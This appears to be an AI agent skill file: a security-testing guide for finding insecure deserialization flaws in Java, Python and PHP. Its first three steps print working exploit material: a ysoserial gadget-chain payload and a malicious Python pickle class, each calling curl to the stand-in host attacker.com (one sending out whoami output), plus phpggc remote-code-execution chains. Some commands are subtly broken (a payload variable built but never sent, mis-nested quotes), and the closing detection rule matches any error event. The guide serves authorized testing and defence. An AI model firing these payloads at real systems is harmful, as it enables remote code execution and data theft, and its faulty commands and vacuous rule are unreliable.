<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-insecure-deserialization
description: >-
  Detect insecure deserialization vulnerabilities including Java object
  injection, Python pickle exploitation, PHP unserialize attacks, .NET
  BinaryFormatter abuse, and YAML deserialization leading to RCE.
domain: cybersecurity
subdomain: application-security
tags:
  - deserialization
  - rce
  - gadget-chains
  - ysoserial
  - owasp-a08
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1059", "T1055"]
  owasp-top10: ["A08"]
  tools: ["ysoserial", "burp-suite", "python3", "phpggc"]
---

# Detecting Insecure Deserialization

## Overview

Insecure deserialization occurs when applications deserialize untrusted
data without validation, enabling remote code execution, denial of service,
or authentication bypass through crafted serialized objects and gadget chains.

## Prerequisites

- Tools: ["ysoserial", "burp-suite", "python3", "phpggc"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: Java Deserialization

```bash
# Generate ysoserial payloads
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Test Java serialization endpoint
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/callback" | base64 -w0)
curl -X POST https://target.com/api/data \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary "@payload.bin"

# Detect Java serialized objects (magic bytes: AC ED 00 05)
curl -s https://target.com/api/session | xxd | head -1
# Or base64: rO0AB (starts with)
```

### Step 2: Python Pickle Exploitation

```python
# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl http://attacker.com/$(whoami)",))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

# Detect pickle usage in source
# semgrep --config=p/python src/
# rg 'pickle\.loads|pickle\.load\b' src/
```

### Step 3: PHP Object Injection

```bash
# Generate PHP gadget chain with phpggc
phpggc Laravel/RCE1 system "id" -b

# Test unserialize endpoint
curl -X POST https://target.com/api/import \
  -d "data=O:8:"stdClass":1:{s:4:"exec";s:2:"id";}"

# Detect PHP serialized objects (O:, a:, s: patterns)
curl -s https://target.com/api/export | grep -oE 'O:[0-9]+:"[^"]+"'
```

### Step 4: Static Analysis for Deserialization

```bash
# Semgrep deserialization rules
semgrep --config=p/owasp-top-ten src/ | grep -i deserializ

# Find deserialization sinks
rg -n 'pickle\.loads|yaml\.load\b|readObject|unserialize|BinaryFormatter|JsonConvert\.Deserialize' src/

# CodeQL deserialization queries
codeql database analyze db codeql/java-queries:Security/CWE/CWE-502
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Java serial magic bytes | WAF/IDS | AC ED 00 05 or rO0AB in request body |
| Pickle payload | App logs | Unexpected pickle deserialization errors |
| PHP object strings | WAF | O: or a: patterns in POST data |

```yaml
title: Insecure Deserialization Detection
id: 354cb439-aaf3-4939-a8fb-be7507f41a21
status: experimental
description: Detects suspicious activity related to detecting insecure deserialization techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1059
  - attack.t1055
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
